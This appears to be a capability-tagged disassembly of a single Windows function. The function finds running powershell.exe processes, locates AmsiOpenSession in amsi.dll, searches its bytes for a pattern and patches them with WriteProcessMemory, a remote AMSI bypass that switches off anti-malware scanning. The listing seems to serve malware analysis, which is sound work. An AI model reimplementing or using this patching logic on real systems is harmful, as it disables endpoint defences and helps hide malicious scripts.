Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push r14
sub rsp, 0x6b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x690], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001304
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001304
cmp dword [rsp + 0x58], 0
mov qword [rsp + 0x6c0], rbx
mov qword [rsp + 0x6a8], rdi
mov qword [rsp + 0x6a0], r15
jne 0x1400010f0
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [rsp + 0x40]
xor r15d, r15d
mov qword [rsp + 0x6c8], rbp
mov qword [rsp + 0x6d0], rsi
nop word [rax + rax]
lea rdx, str.powershell.exe
lea rcx, [rsp + 0x7c]
call fcn.140004a54
test eax, eax
jne 0x1400012c6
mov dword [rsp + 0x30], 0x743f3f48
mov dword [rsp + 0x34], 0x3f3f483f
mov byte [rsp + 0x38], 0x74
cmp dword [rsp + 0x58], r15d
jne 0x14000114f
mov edi, 0xffffffff
jmp 0x1400012a8
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x38
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
jne 0x140001173
mov edi, 0xffffffff
jmp 0x1400012a8
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x14000118f
mov edi, 0xffffffff
jmp 0x1400012a8
lea rdx, str.AmsiOpenSession
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x1400011b1
mov edi, 0xffffffff
jmp 0x1400012a8
mov r9d, 0x400
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x290]
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400011de
mov edi, 0xffffffff
jmp 0x1400012a8
mov ebx, r15d
mov eax, ebx
cmp byte [rsp + rax + 0x290], 0x48
jne 0x14000122d
mov r8d, 1
lea eax, [rbx + 1]
lea r9, [rsp + 0x31]
nop dword [rax + rax]
cmp eax, 0x400
jae 0x14000122d
movzx edx, byte [r9]
cmp dl, 0x3f
je 0x140001219
cmp byte [rsp + rax + 0x290], dl
jne 0x140001227
inc r8d
inc eax
inc r9
cmp r8d, 9
jb 0x140001200
cmp r8d, 9
je 0x140001239
inc ebx
cmp ebx, 0x400
jb 0x1400011e1
jmp 0x14000123c
add ebx, 3
cmp ebx, 0x400
jne 0x14000124b
mov edi, 0x90
jmp 0x1400012a8
cmp dword [0x140023a74], r15d
je 0x140001278
mov rdx, rsi
lea rcx, str.AMSI_address__X_n
call fcn.140001010
mov edx, ebx
lea rcx, str.offset_:__d_n
call fcn.140001010
mov dword [0x140023a74], r15d
movsxd rdx, ebx
lea r8, [0x140023a70]
add rdx, rsi
mov qword [rsp + 0x20], r15
mov r9d, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400012a4
mov edi, 0xffffffff
jmp 0x1400012a8
test edi, edi
je 0x1400012ba
mov edx, dword [rsp + 0x58]
lea rcx, str.AMSI_patched__d_n
call fcn.140001010
jmp 0x1400012c6
lea rcx, str.patch_failed__n
call fcn.140001010
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001110
mov r15, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6a8]
mov rsi, qword [rsp + 0x6d0]
mov rbp, qword [rsp + 0x6c8]
mov rbx, qword [rsp + 0x6c0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.140001370
add rsp, 0x6b0
pop r14
ret